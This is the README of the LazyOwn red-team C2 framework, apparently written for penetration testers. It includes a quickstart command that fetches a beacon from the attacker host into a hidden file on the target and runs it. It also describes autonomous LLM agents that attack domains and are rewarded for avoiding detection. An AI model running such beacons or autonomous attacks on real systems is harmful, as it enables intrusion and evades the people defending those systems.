LazyOwn
██▓ ▄▄▄ ▒███████▒▓██ ██▓ ▒█████ █ █░███▄ █
▓██▒ ▒████▄ ▒ ▒ ▒ ▄▀░ ▒██ ██▒▒██▒ ██▒▓█░ █ ░█░██ ▀█ █
▒██░ ▒██ ▀█▄ ░ ▒ ▄▀▒░ ▒██ ██░▒██░ ██▒▒█░ █ ░█▓██ ▀█ ██▒
▒██░ ░██▄▄▄▄██ ▄▀▒ ░ ░ ▐██▓░▒██ ██░░█░ █ ░█▓██▒ ▐▌██▒
░██████▒▓█ ▓██▒▒███████▒ ░ ██▒▓░░ ████▓▒░░░██▒██▓▒██░ ▓██░
░ ▒░▓ ░▒▒ ▓▒█░░▒▒ ▓░▒░▒ ██▒▒▒ ░ ▒░▒░▒░ ░ ▓░▒ ▒ ░ ▒░ ▒ ▒
░ ░ ▒ ░ ▒ ▒▒ ░░░▒ ▒ ░ ▒ ▓██ ░▒░ ░ ▒ ▒░ ▒ ░ ░ ░ ░░ ░ ▒░
░ ░ ░ ▒ ░ ░ ░ ░ ░ ▒ ▒ ░░ ░ ░ ░ ▒ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░
LazyOwn comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under the terms of the GNU General Public License v3. See the LICENSE file for details about using this software.
LazyOwn
LazyOwn is a professional red team framework for penetration testers and security researchers. It provides over 666 attack techniques for Linux, Unix, BSD, macOS, and Windows environments, and integrates the Atomic Red Team attack library.
Quickstart in three commands
New here? This is the whole on-ramp. Full walkthrough: QUICKSTART.md.
git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn
bash install.sh # virtualenv + pinned dependencies + C2 certificates
./run # launches the shell; first run offers the setup wizard
Lighter install: bash install.sh --no-ml skips the heavy torch/CUDA stack, --no-ollama skips the local LLM runtime. Dependencies are pinned in requirements.txt (cross-platform core) and requirements-ml.txt (optional ML); pyproject.toml is the single source of truth.
Docker
For isolated, reproducible engagements, see lazyown-docker/README.md.
cd lazyown-docker
./mkdocker.sh build
./mkdocker.sh run --vpn 1
Then, inside the (LazyOwn) > shell:
doctor # preflight: verifies Python, venv, packages, certs, SecLists, tools
wizard # guided config (auto-detects lhost, walks 7 steps)
ping # confirm the target is up and detect its OS
lazynmap # full port + service scan
If doctor reports a blocking failure (red), fix it before going further — it
tells you the exact pip install / apt install command for whatever is
missing. Warnings (yellow) are optional features you can ignore for now.
Core Architecture
LazyOwn is built around a modular, command-driven architecture that provides flexibility and extensibility for security testing workflows.
LazyOwn integrates a command-line interface (CLI) built on cmd2 and a web-based GUI built on Flask. Parameters are scoped to payload.json, enabling consistent configuration across tools. The framework supports adversary simulation, task scheduling via the cron command, and persistent automated threat simulation workflows.
See CONTRIBUTING.md for details.
LazyOwn Skills — MCP Integration
Connect Claude Code to the LazyOwn framework via the Model Context Protocol (MCP). The MCP server exposes 67 tools covering the full engagement lifecycle.
Files
| File | Purpose |
|---|---|
skills/lazyown_mcp.py |
MCP server — exposes 67 LazyOwn tools to Claude |
skills/lazyown.md |
Claude Code skill / slash-command documentation |
skills/autonomous_daemon.py |
Autonomous execution daemon (objective-driven, no Claude required between steps) |
skills/hive_mind.py |
Multi-agent queen + drone system with ChromaDB memory |
skills/lazyown_policy.py |
Reward-based policy engine for the auto_loop |
skills/lazyown_facts.py |
Structured fact extraction from nmap XML and tool output |
skills/lazyown_parquet_db.py |
Parquet knowledge base: session history, GTFOBins, LOLBas, ATT&CK |
Quick Start (5 minutes to first shell)
Full guide:
QUICKSTART.md
# 1. Clone and install (add --no-ml to skip the 2 GB torch/CUDA stack, --no-ollama to skip the local LLM)
git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn && bash install.sh
# 2. Launch, verify the install, then run the wizard
./run
(LazyOwn) > doctor # preflight: Python, venv, packages, certs, SecLists, tools
(LazyOwn) > wizard # auto-detects lhost, walks 7 config steps
# Heavy optional dependencies (pycryptodome, python-libnmap, impacket, ...) are
# imported lazily: a missing package degrades only its feature instead of
# crashing the shell, and the dependent command raises a clear "pip install ..."
# error when used. To audit them without launching the shell (works even if rich
# or cmd2 are broken): python3 -m core.dependencies
# 3. Define your authorized scope, then recon
(LazyOwn) > scope add 10.10.11.0/24 && scope mode enforce
(LazyOwn) > ping && lazynmap && auto_populate && facts_show
# 4. Start C2 (separate terminal)
bash fast_run_as_r00t.sh --no-attach --vpn 1
# 5. Get a shell — Linux BOF-capable beacon
(LazyOwn) > blacksandbeacon
# Then on target: curl -sk "http://<lhost>:<lport>/blacksandbeacon" -o /tmp/.svc && chmod +x /tmp/.svc && /tmp/.svc &
# 6. Invite teammates (multi-operator)
(LazyOwn) > collab_join alice
# Prints: https://<lhost>:<c2_port>/collab/?operator=alice
Multi-Operator Collaboration
LazyOwn's collab layer provides real-time team server functionality via
Server-Sent Events (SSE). It activates automatically when lazyc2.py starts.
Browser dashboard — open in any browser on the team:
https://<lhost>:<c2_port>/collab/?operator=<your_handle>
Terminal SSE stream:
curl --insecure -N "https://<lhost>:<c2_port>/collab/stream?operator=alice" | jq .
Publish a finding to all operators:
curl --insecure -sk -X POST https://<lhost>:<c2_port>/collab/publish \
-H "Content-Type: application/json" \
-d '{"type":"finding","operator":"alice","payload":{"target":"10.10.11.5","detail":"root via CVE-2024-xxxx"}}'
Lock a target (prevents two operators running the same tool):
curl --insecure -sk -X POST https://<lhost>:<c2_port>/collab/lock \
-H "Content-Type: application/json" \
-d '{"target":"10.10.11.5","operator":"alice","ttl_secs":300}'
| Endpoint | Method | Description |
|---|---|---|
/collab/ |
GET | Multi-operator browser dashboard |
/collab/stream?operator=<name> |
GET (SSE) | Real-time event stream |
/collab/operators |
GET | Active operator list |
/collab/publish |
POST | Broadcast a structured event |
/collab/lock |
POST | Acquire advisory target lock |
/collab/unlock |
POST | Release target lock |
/collab/locks |
GET | All active locks |
/collab/history?n=100 |
GET | Last N events |
From the CLI: collab_join <handle> prints all URLs for a given operator.
MCP Quick Start
LazyOwn exposes its full framework via the Model Context Protocol (MCP). The same server works with Claude Code, Claude Desktop, Hermes Agent, and OpenCode — pick the integration that matches your environment.
Claude Code
claude mcp add lazyown python3 /home/grisun0/LazyOwn/skills/lazyown_mcp.py
Or add manually to ~/.claude/claude_desktop_config.json:
{
"mcpServers": {
"lazyown": {
"command": "python3",
"args": ["/home/grisun0/LazyOwn/skills/lazyown_mcp.py"],
"env": {
"LAZYOWN_DIR": "/home/grisun0/LazyOwn"
}
}
}
}
Install the slash command (optional):
cp skills/lazyown.md ~/.claude/commands/lazyown.md
After restarting Claude Code, all lazyown_* tools are available.
Hermes Agent
LazyOwn is Hermes-native. The skills/hermes-lazyown/ integration layer provides a compact, namespaced tool surface optimized for Hermes context windows with checkpoint resume, dynamic rule generation, and native delegation planning.
Register in ~/.hermes/config.yaml:
mcp_servers:
hermes-lazyown:
command: python3
args: ["/home/grisun0/LazyOwn/skills/hermes-lazyown/mcp_server.py"]
env:
LAZYOWN_DIR: "/home/grisun0/LazyOwn"
Then reload MCP tools in Hermes with /reload-mcp.
See skills/hermes-lazyown/README.md for the full Hermes integration guide.
OpenCode
LazyOwn is OpenCode-friendly via the LazyOwnOpenCodeAdapter:
git clone https://github.com/grisuno/LazyOwnOpenCodeAdapter.git
cd LazyOwnOpenCodeAdapter && npm install
npm run build
The adapter bridges LazyOwn's MCP server into the OpenCode CLI, exposing the same lazyown_* tool surface with OpenCode-native prompts and workflows.
Full setup: https://github.com/grisuno/LazyOwnOpenCodeAdapter
Environment Variables
| Variable | Default | Description |
|---|---|---|
LAZYOWN_DIR |
parent of skills/ |
LazyOwn root directory |
LAZYOWN_C2_HOST |
payload.json lhost |
C2 server address |
LAZYOWN_C2_PORT |
payload.json c2_port |
C2 server port |
LAZYOWN_C2_USER |
payload.json c2_user |
C2 username |
LAZYOWN_C2_PASS |
payload.json c2_pass |
C2 password |
MCP Tool Groups (81 tools)
| Group | Tools | Description |
|---|---|---|
| Core Execution | 7 | run_command (now with dry_run + confirm), get/set_config, list_modules, discover_commands, command_help, palette |
| Audit & Context | 6 | target_context, tasks_cleanup, evidence_grep, session_diff, run_command_async, job_status |
| Target Management | 3 | add_target, list_targets, set_active_target |
| C2 / Implant Control | 10 | c2_command, c2_status, get_beacons, run_api, c2_profile, c2_vuln_analysis, c2_redop, c2_search_agent, c2_script, c2_adversary |
| Session Awareness | 4 | session_status, session_state, list_sessions, read_session_file |
| Autonomous Loop | 3 | auto_loop, policy_status, recommend_next |
| ACI — Autonomous Campaign Intelligence | 3 | aci_plan, aci_status, aci_replan |
| Reactive Intelligence | 2 | reactive_suggest, bridge_suggest |
| Objectives & Planning | 4 | inject_objective, next_objective, soul, read_prompt |
| Knowledge Bases | 9 | parquet_query/annotate, facts_show, cve_search, searchsploit, rag_index/query, threat_model |
| Memory & Learning | 3 | memory_recall/store, eval_quality |
| Campaign & Reporting | 7 | campaign, campaign_tasks, generate_report, misp_export, collab_publish, timeline |
| Playbooks | 2 | playbook_generate, playbook_run |
| Addons, Tools & Plugins | 3 | list_addons/plugins, create_addon/tool |
| Scheduling | 2 | cron_schedule, daemon |
| AI Agents | 5 | run_agent, agent_status/result, list_agents, llm_ask |
| Event Engine | 4 | poll_events, ack_event, add_rule, heartbeat_status |
| SWAN MoE+RL | 4 | swan_run, swan_ensemble, swan_status, swan_route |
Full documentation: skills/README.md and skills/lazyown.md.
Audit-mode MCP improvements
Added in skills/lazyown_mcp_helpers.py to make autonomous audits more
efficient and less error-prone. Logic lives in a pure-function module so it
is unit-testable in isolation (tests/test_mcp_improvements.py).
| Tool / Param | What it does | Why it matters |
|---|---|---|
lazyown_session_init(format='json', include_recommend=true) |
Returns the SITREP as a structured dict instead of a banner; optionally embeds the top-3 ranked recommended actions. | Saves ~5KB of decorated text per call; agents can filter before consuming. |
lazyown_campaign_sitrep(format='json') |
Same JSON option for the master shift report. | Consistent format across both situation tools. |
lazyown_target_context(host, port=N) |
Aggregates open ports, world-model credentials (with provenance + confidence), vulnerabilities, pwntomate evidence freshness, and nmap freshness for one (host, port) tuple. | Replaces 4-5 separate lookups when deciding the next action on a target. |
lazyown_tasks_cleanup(dry_run=true, min_confidence=0.5) |
Audits sessions/tasks.json and flags entries where the embedded credential is actually a timestamp / URL / IP / duplicate. Pass dry_run=false to rewrite the file (a .bak is written first). |
The watcher commonly turns log timestamps into "credentials"; on a real campaign this drops 100+ noise tasks. |
| `lazyown_evidence_grep(pattern, scope='all | loot | nmap |
lazyown_run_command(command, dry_run=true) |
Pre-flight: returns base command, binary path, OS-required vs OS-current, would-duplicate artefacts, missing payload keys — without executing. | Stops repeat-runs of 30-min scans by mistake; flags Windows-only tools against a Linux target before launch. |
lazyown_run_command_async(command, timeout) + lazyown_job_status(job_id) |
Background-job pattern for long commands (lazynmap, pwntomate, auto_loop). Returns a job_id immediately. |
Frees the agent from blocking on commands documented as ≥30 min. |
lazyown_session_diff(take=true) |
Reports added / modified / removed files in sessions/ plus new credentials / task IDs since the last snapshot. |
Makes shift handoffs explicit; works well as the first call of every new session. |
Confirmation gate (confirm=true) |
lazyown_c2_command, lazyown_c2_redop, lazyown_c2_adversary, and any run_command whose body matches rm -rf / exfil / wipe / encrypt-file now require an explicit confirm=true argument. |
Prevents accidental destructive actions from autonomous loops. |
| Provenance + confidence on credentials | Each credential exposed via target_context includes is_likely_credential, confidence, classification, and a provenance block (source_file, line_no, captured_at) when found. |
Required for chain-of-custody in pentest reports. |
| Freshness annotations | Every evidence file in the JSON SITREP and target_context carries age_seconds, age_human, and stale=true once it exceeds freshness_threshold_seconds (default 7 days; configurable per-call). |
Stops the agent from exploiting on top of stale recon evidence. |
Audit-mode CLI enhancements
A SOLID extension layer in cli/cli_enhancements.py plugs into the cmd2 shell
via the existing CommandSet auto-discovery (cli/commands/audit.py). No
edits to the 27k-line lazyown.py core were required beyond two small hooks
(lazy alias loading, completedefault fallback).
| Command / hook | What it does | Backed by |
|---|---|---|
fz [query] |
Fuzzy command finder over every do_*, alias, plugin and addon. Scores exact > prefix > substring > sequence-similarity. |
FuzzyCommandIndex |
form <command> |
Walks the operator through an interactive parameter form for commands with many flags (currently phishing, venom, evil). Validates required fields and options enums; falls back to defaults under non-interactive IO. |
InteractiveForm, FormSpec |
status_tail [target] |
Parses the latest sessions/scan_<target>.partial/.nmap and prints open ports, percent complete and last line so the operator can monitor a long scan without leaving the shell. |
LiveStatusTail |
grep_log <pattern> [--cmd <name>] |
Regex search across the recent transcript of executed commands and their outputs. Persists across restarts (sessions/_cli_transcript.jsonl). |
TranscriptStore |
reload_addons |
Polls lazyaddons/ and plugins/ and re-registers anything that changed since the last sweep, without restarting the shell. |
AddonHotReloader |
audit_complete_keys <command> [partial] |
Surfaces what the payload-aware completer would suggest for a given command. Useful to verify completion behaviour. | PayloadAwareCompleter |
completedefault (Tab) |
Cmd2 hook now falls through to a payload-aware completer that suggests payload keys for set/assign, IP values for target, wordlist keys for gobuster/ffuf, addon names for run, plugin names for plugin, and captured credentials for evil/cme/secretsdump. |
PayloadAwareCompleter |
| Dynamic alias resolution | cli/aliases.py now defaults to lazy=True: alias templates keep their {rhost}/{lhost}/etc. placeholders and are rendered against self.params at execution time. set rhost X propagates to every alias on the next keystroke (no shell restart). Pre-substitution is still available with lazy=False. |
DynamicAliasResolver, cli/aliases.py |
The primitives are framework-agnostic and depend on small typing.Protocol
interfaces (PayloadProvider, CommandLister, TerminalIO) so they can be
unit-tested in isolation. See tests/test_cli_enhancements.py (36 tests).
Fuzzy dropdown autocomplete
The cmd2 shell installs a curses-driven fuzzy picker on top of GNU readline
(cli/fuzzy_picker.py). On a single Tab press, when two or more
completions are available, the picker opens a bordered dropdown anchored at
the bottom of the terminal showing every match alongside its description.
The scorer favours exact, prefix and subsequence matches over substring and
similarity (the same ranking the standalone fz command uses), and the
matched characters of the query are highlighted in each row so the operator
can see why a candidate is in the list.
Navigation: ↑ / ↓ to move, Page Up / Page Down to jump, Home /
End to seek, Backspace to edit the query in place, Tab or
Enter to insert the highlighted command into the prompt, Esc or
Ctrl-C to cancel. When only one candidate matches, readline's normal
auto-insert behaviour is preserved so the picker never gets in the way of a
fast operator. Geometry, colors and glyphs are driven by PickerConfig,
and an optional fuzzy_picker block in payload.json can override any of
its fields (e.g. "max_visible_rows": 8) without touching code.
Configurable Neon Box prompt — config_banner
The cmd2 shell renders a three-line Neon Box prompt assembled from a
canonical set of segments (user_host, iface, lhost, rhost,
domain, public_ip, cwd, git, venv, time, kernel, version,
battery_load). The renderer is implemented in cli/banner_config.py as
a small SOLID stack: one SegmentRenderer per piece of information, a
SegmentRegistry, a BannerSettings value object, and a BannerRenderer
that emits ANSI-colored output. Public IP, kernel release and the LazyOwn
version are TTL-cached so the prompt stays sub-millisecond after the first
render.
The config_banner shell command opens a Powerlevel10k-style curses
wizard with three tabs — Segments, Colors, Glyphs — and a
live preview of the resulting prompt anchored at the bottom of the panel.
Tab / Shift+Tab cycle tabs; ↑ / ↓ move within the active tab;
Enter saves to payload.json under the banner block; Escape
cancels. Per-tab bindings:
| Tab | Action keys |
|---|---|
| Segments | Space toggles a segment on/off; a enables every segment; n disables every segment; d restores factory defaults. |
| Colors | Space / → cycles to the next named color (bright_green, bright_cyan, bright_magenta, …); ← cycles back; d restores that segment's default color. |
| Glyphs | Space / → cycles to the next character for the focused slot (top_left, vertical, bullet_primary, arrow, prompt_char_user, …); ← cycles back; d restores that slot's default glyph. |
The shell prompt refreshes immediately after save — no restart needed.
Operators with no TTY (CI, scripts) can still drive the system with
config_banner show and config_banner reset, or hand-edit the payload:
"banner": {
"enabled": ["user_host", "iface", "rhost", "domain", "cwd", "git", "venv", "time"],
"colors": {"user_host": "bright_green", "rhost": "bright_red", "domain": "bright_yellow"},
"glyphs": {"top_left": "┌", "bottom_left": "└", "horizontal": "─", "vertical": "│",
"bullet_primary": "❯", "arrow": "→"}
}
Color names are validated against ColorRegistry and glyph characters
against GlyphRegistry; anything unknown silently falls back to the
factory default so a malformed payload never breaks the prompt.
Graph-aware navigation — operator + agent UX from graphify
cli/graph_advisor.py loads the knowledge graph produced by
/graphify over the LazyOwn source tree
(graphify-out/graph_lazyown.json — ~1500 nodes, ~2900 edges, 14
communities) and exposes it to both the cmd2 shell and the MCP server. The
advisor is a single-file SOLID stack — GraphLoader (mtime-cached file
IO), GraphIndex (in-memory adjacency / degree / community indexes),
GraphScorer (pure ranking primitive), GraphAdvisor (orchestrator) —
with every constant kept on the GraphAdvisorConfig dataclass.
Operator commands (cmd2 shell)
| Command | Purpose |
|---|---|
graph_search <query> [limit] |
Fuzzy search nodes by label, id or source file. |
neighbors <node> [depth] [limit] |
Walk the graph outward from a node with edge relation / confidence. |
god_nodes [N] |
Show the most-connected nodes — the framework's core abstractions. |
suggest_next [seeds…] [N] |
Recommend the next commands by walking outward from recent activity. With no seeds it reads sessions/LazyOwn_session_report.csv and seeds from there. |
The shell's default() hook now feeds unknown do_* commands through the
same advisor + the existing FuzzyCommandIndex so an operator who types
ddo_lazynmap instantly sees "Did you mean: do_lazynmap, do_lazynmap_quick, …?"
before the toast.
MCP tools (Claude Code, Claude web, any MCP agent)
| Tool | Purpose |
|---|---|
lazyown_graph_summary |
Node / edge / community counts and the resolved graph path. |
lazyown_graph_search |
Fuzzy node search with a budget_tokens cap so the JSON response never blows the agent's context window. |
lazyown_graph_neighbors |
Layered adjacency walk with edge relation and confidence — the canonical "what does X depend on?" query. |
lazyown_graph_suggest_next |
Next-step recommendation; takes an explicit recent list or reads the session transcript. |
Every MCP graph tool trims list fields in place to fit budget_tokens
(default 1500). When the graph is missing, every tool returns
{"available": false, "reason": "..."} instead of crashing — the operator
is told to run /graphify . once and everything starts working.
The advisor caches by (path, mtime) so a fresh /graphify rebuild is
picked up automatically on the next CLI command or MCP call without
restarting the shell or the MCP server. See
tests/test_graph_advisor.py for the 20 unit tests covering loader,
index, scorer and the full advisor API.
Inline reactive hints — non-blocking next-step suggestions
cli/reactive_hints.py hooks into the cmd2 post-command pipeline via
register_postcmd_hook and prints a single dim line below every command
output, before the next prompt appears:
↳ do_gobuster · do_enum4linux · do_ffuf
The suggestion comes from the graphify knowledge graph (same GraphAdvisor
used by suggest_next), so it is structurally grounded — not a generic list.
The hook is fully non-blocking: it returns before cmd2 renders the prompt, so
the operator can start typing the next command immediately.
Control
| Action | How |
|---|---|
| Disable hints for the session | set enable_inline_hints false |
| Re-enable | set enable_inline_hints true |
| Persist permanently | set enable_inline_hints false then save |
Commands on the skip list (help, ?, exit, set, show, palette,
dashboard, suggest_next, graph_search, neighbors, god_nodes) never
produce a hint line — they are meta-commands where a suggestion adds noise.
When the graphify graph is absent the hook returns silently. Run
/graphify . once to build the graph and hints start appearing on the very
next command.
Operator TUI dashboard — dashboard
cli/dashboard_tui.py is a full-screen Textual
dashboard launched from the shell with:
dashboard
It blocks the shell while open (like htop or lazygit). Press Q or
Ctrl-C to close and return to the cmd2 prompt.
Layout
┌─ LazyOwn RedTeam Dashboard ─────────────────────────────────────────────────┐
│ TARGET 10.10.11.5 ATTACKER 10.10.14.5 DOMAIN target.htb PHASE RECON OS │
├─────────────────────┬─────────────────────────────────┬─────────────────────┤
│ Kill Chain │ Recent Commands │ Ops │
│ ✔ Recon │ ● lazynmap 2026-05-11 │ Objective: │
│ ▶ Enum │ ● ping 2026-05-11 │ Initial Access │
│ ○ Exploit │ ● gobuster 2026-05-11 │ │
│ ○ PrivEsc │ │ Credentials: 0 │
│ ○ Lateral │ │ Hashes: 0 │
│ ○ Exfil │ Config │ Beacons: 0 │
│ ○ Report │ Target: 10.10.11.5 │ │
│ │ C2 Port: 4444 │ │
├─────────────────────┴─────────────────────────────────┴─────────────────────┤
│ ↳ next: do_gobuster · do_enum4linux · do_ffuf · do_nikto │
└──────────────────────────────────── [Q] Quit [R] Refresh [?] Help ────────┘
Data sources (auto-refreshed every 5 seconds)
| Panel | Source |
|---|---|
| Target / phase / OS | payload.json, sessions/world_model.json |
| Kill chain progress | sessions/world_model.json → completed_phases |
| Recent commands | sessions/LazyOwn_session_report.csv |
| Objective | sessions/world_model.json, sessions/tasks.json |
| Credentials / hashes | sessions/credentials*.txt, sessions/hash*.txt |
| Beacons | sessions/beacons.json |
| Graph hints | graphify-out/graph_lazyown.json |
Requires pip install textual (added to install.sh).
Command palette and graph-aware discovery
The lazyown_palette MCP tool (also reachable as the palette CLI command
and the /palette web view, with a global Ctrl+K / Cmd+K overlay on
every C2 page) lets agents and operators browse the 422+ do_* commands
without scrolling. Modes:
| Mode | Example | Description |
|---|---|---|
| Overview | palette |
Phase-by-phase command counts. |
| Phase | palette recon |
Every command in a kill-chain phase, with a one-line summary. |
| Phase + filter | palette enum nmap |
Phase listing narrowed by a free-text query. |
| Search | palette --search ldap |
Fuzzy search across name and summary. |
| Detail | palette --info do_lazynmap |
Full entry plus graphify-derived calls and related neighbours (which other commands share helper functions with this one). |
| Next phase | palette --next recon |
Recommended commands in the phase that follows in the kill-chain ordering. |
The detail view's calls / related lists come from
graphify-out/graph_lazyown.json (re-generated by the graphify skill);
when that file is absent the palette degrades silently to phase data only.
Telegram Hermes Bot
The telegram_hermes.py bot bridges Telegram to the full LazyOwn framework via the MCP layer and Hermes gateway. It supports direct shell command execution, autonomous agent delegation, cron scheduling, C2 beacon interaction, and cross-platform messaging.
Files
| File | Purpose |
|---|---|
telegram_hermes.py |
Telegram bot — bridges Telegram to LazyOwn MCP and Hermes gateway |
run_telegram_hermes.sh |
Launcher script using a dedicated venv |
venv_telegram/ |
Python virtual environment with python-telegram-bot dependencies |
Quick Start
# 1. Create the dedicated virtual environment
cd LazyOwn
python3 -m venv venv_telegram
source venv_telegram/bin/activate
pip install python-telegram-bot nest_asyncio requests
# 2. Configure your bot token in payload.json
python3 -c "import json; p=json.load(open('payload.json')); p['telegram_token']='YOUR_BOTFATHER_TOKEN'; json.dump(p,open('payload.json','w'),indent=2)"
# 3. Launch the bot
./run_telegram_hermes.sh
Bot Commands
| Command | Description |
|---|---|
/start <secret> |
Authenticate with the C2 secret from payload.json |
/cmd <command> |
Execute any LazyOwn shell command |
/sitrep |
Full campaign situation report |
/config [key] [val] |
View or set payload.json values |
/addcli <client_id> |
Set active C2 client |
/clients |
List online C2 implants |
/c2 <command> |
Send command to C2 beacon |
/agent <goal> |
Run autonomous Groq/Ollama agent |
/delegate <goal> |
Delegate task to Hermes subagent |
/cron <schedule> <cmd> |
Schedule recurring LazyOwn commands |
/status |
Show daemon and autonomous status |
/stop |
Stop any running autonomous daemon |
/download <file> |
Download files from sessions/ |
| Upload document | Upload files to C2 beacon |
Any plain text message not prefixed with / is treated as a direct LazyOwn command. Rate limiting (5 commands/minute) and session timeouts (30 minutes) are enforced.
Architecture
The bot uses the same PTY-based command execution as the MCP server (skills/lazyown_mcp.py), so every LazyOwn command, alias, and addon works without direct Python imports. Autonomous tasks (/agent, /delegate) spawn Groq or Ollama agents through the LazyOwn shell, and C2 commands (/c2, /clients) use the authenticated /api/command and /get_connected_clients endpoints.
Advanced AI Architecture (MoE + RL + SWAN + Hive Mind)
LazyOwn integrates a world-class multi-agent AI stack that adapts and improves through every engagement:
Mixture of Experts (MoE) — modules/moe_router.py
Five LLM experts are registered with capability tags, base weights, and cost tiers:
| Expert | Backend | Strengths |
|---|---|---|
groq_fast |
Groq llama-3.1-8b-instant | Recon, enumeration, rapid decisions |
groq_powerful |
Groq llama-3.3-70b-versatile | Exploitation, post-ex, complex reasoning |
groq_deepseek_r1 |
Groq deepseek-r1-distill-llama-70b | Privilege escalation, step-by-step reasoning |
ollama_reason |
Ollama deepseek-r1:1.5b | Offline, privacy-safe, detailed analysis |
groq_gemma |
Groq gemma2-9b-it | Lateral movement, credential analysis |
Routing uses temperature-scaled softmax (T = max(0.5, 1.5/(1+calls/50))) over adjusted weights. Weights self-adjust via exponential moving average of per-expert reward over time.
Reinforcement Learning from Models (RLM) — modules/rl_trainer.py
Tabular Q-learning trains the routing policy over engagement sessions:
State: (task_type, engagement_phase, recent_reward_bucket)
Action: expert_id
Reward: r_raw - λ * detection_prob * |r_raw| (λ=0.5)
Update: Q(s,a) ← Q(s,a) + α * [r + γ * max_a' Q(s',a') - Q(s,a)]
Hyperparameters: α=0.10, γ=0.90, ε_start=0.20, ε_min=0.05, ε_decay=0.995. Epsilon-greedy exploration decays per update. Q-values persist to sessions/expert_qvalues.json across sessions.
SWAN Orchestrator — skills/swan_agent.py
The top-level integration layer wires MoE + RL + Detection Oracle + Hive Memory:
swan_run: single-expert execution with RL-guided routing and post-execution Q-updateswan_ensemble: N experts in parallel via ThreadPoolExecutor, synthesised byWeightedTextAggregatorOutcomeEvaluator: reward = 0 when detection probability ≥ 70% (detection-aware reward shaping)- Every result stored in Hive Memory (ChromaDB) for cross-session learning
Detection Oracle (Blue Team Mirror) — modules/detection_oracle.py
Predicts detection probability before execution using 17 Sigma-lite rules covering: credential access (LSASS, SAM, DCSync), lateral movement (PsExec, WMI, evil-winrm), privilege escalation (token impersonation, named pipes), exploitation, recon, C2, and brute force.
Probability aggregation: P(detect) = 1 - ∏(1 - P_i) across all triggered rules.
Hive Mind — skills/hive_mind.py
Multi-agent queen+drone architecture with shared memory:
- QueenBrain (Claude): high-level orchestration + ConsensusProtocol for high-risk actions
- DronePool (Groq/Ollama): parallel execution of recon/exploit/cred/lateral/privesc tasks
- HiveMemory: ChromaDB semantic + SQLite episodic + Parquet long-term storage
- EpisodeReflectionEngine: post-campaign lesson extraction stored as
sessions/campaign_lessons.jsonl
Autonomous Campaign Intelligence (ACI) — skills/aci_planner.py
The first C2 framework that plans, executes, and learns autonomously.
ACI bridges the gap between a natural-language engagement goal and a fully autonomous execution loop. No competitor (Cobalt Strike, Sliver, Havoc, Metasploit) does this end-to-end:
Operator: "Compromise the domain controller at corp.internal
starting from a phishing foothold on 10.10.11.5"
↓
ACI Planner ──► MITRE ATT&CK decomposition (LLM-backed, static fallback)
recon → exploit → exec → privesc → cred → lateral → report
↓
ObjectiveStore ─► 20+ concrete objectives injected into sessions/objectives.jsonl
↓
auto_loop / autonomous_daemon ─► executes each objective autonomously
↓
ACIEngine monitors ─► detects stalled phases (blocked_count ≥ 3)
↓
ACIReplan ──► LLM generates alternative techniques for blocked phases
↓
ACIReflector ──► appends lessons to sessions/campaign_lessons.jsonl
feeds back into the next engagement
Three MCP tools:
| Tool | What it does |
|---|---|
lazyown_aci_plan |
Decompose a goal → ATT&CK plan → inject objectives |
lazyown_aci_status |
Live phase breakdown, completion %, replan recommendation |
lazyown_aci_replan |
Force adaptive replan when stalled; auto-generates lessons |
Quick-start:
# 1. Submit the engagement goal
lazyown_aci_plan(
goal="Compromise the DC at corp.internal",
target="10.10.11.5",
scope=["10.10.11.0/24"],
domain="corp.internal",
os_hint="windows",
)
# 2. Start autonomous execution
lazyown_auto_loop(target="10.10.11.5", max_steps=20)
# 3. Monitor progress
lazyown_aci_status()
# 4. When blocked (blocked_count >= 3)
lazyown_aci_replan(reason="Kerberoasting blocked by AV, try AS-REP roasting")
What makes ACI unique vs. other tools:
- Cobalt Strike / Sliver / Havoc are C2 frameworks — the operator plans every step
- Metasploit has automation but no intelligence
- CALDERA emulates fixed ATT&CK procedures but can't adapt to novel environments
- ACI plans, executes, replans, and learns — continuously, across engagements
Persistence:
| File | Contents |
|---|---|
sessions/aci_plan.json |
Active plan: phases, objectives, completion state |
sessions/aci_history.jsonl |
Archived completed/abandoned plans |
sessions/campaign_lessons.jsonl |
Lessons extracted by ACIReflector |
CLI usage (standalone):
python3 skills/aci_planner.py plan "Compromise DC" --target 10.10.11.5 --os windows
python3 skills/aci_planner.py status
python3 skills/aci_planner.py replan "technique blocked"
python3 skills/aci_planner.py reflect
Autonomous Daemon — skills/autonomous_daemon.py
Four asyncio roles in a single process — no Claude required between steps:
Role 1 — ObjectiveLoop : watches objectives.jsonl, takes + executes
Role 2 — ExecutionEngine : 6-layer cascade per step, RL Q-table feedback
Reactive → Parquet → Bridge → SWAN(MoE+RL) → LLM → Fallback
Role 3 — WorldModelWatcher : graph centrality + pivot candidate tracking
Role 4 — DroneCoordinator : hive drone spawning on recon/cred/service findings
Enable SWAN in the daemon: export AUTO_USE_SWAN=1 before starting.
ACI feeds into the daemon: objectives injected by lazyown_aci_plan are picked
up automatically by Role 1 (ObjectiveLoop) — no additional configuration needed.
Graph-Based Reasoning — modules/world_model.py
NetworkGraph tracks all discovered relationships (hosts, services, credentials, trust paths) and computes normalized degree centrality to surface pivot candidates. The top-3 candidates are injected into every to_context_string() call, ensuring the autonomous loop always knows the highest-value lateral movement targets.
Authorization Scope Guard
A red-team framework that reads its target from payload.json has a sharp edge:
a stray rhost fires offensive commands at an unauthorized host. The scope guard
is the safety net. Every interactive command flows through a single chokepoint
that checks the active target against your authorized engagement scope before the
command runs.
(LazyOwn) > scope add 10.10.11.0/24 # CIDR, bare IP, hostname, or *.corp.local wildcard
(LazyOwn) > scope add dc.corp.local
(LazyOwn) > scope mode enforce # off | warn (default) | enforce
(LazyOwn) > scope # show current scope and posture
- Fail-open by design: dormant while the scope is empty or the mode is
off, so existing campaigns are unaffected until you opt in. Any internal error allows the command rather than blocking the operator. warnannotates out-of-scope offensive commands;enforceblocks them pending explicit confirmation (and refuses in non-interactive sessions).- Only offensive kill-chain categories are gated; reporting, configuration and
local helpers always run. New offensive
do_*commands are auto-classified. - Stored in
payload.json(scope,scope_enforcement); pure logic lives incli/scope_guard.pywith zero coupling to the shell.
No comments yet
Be the first to share your take.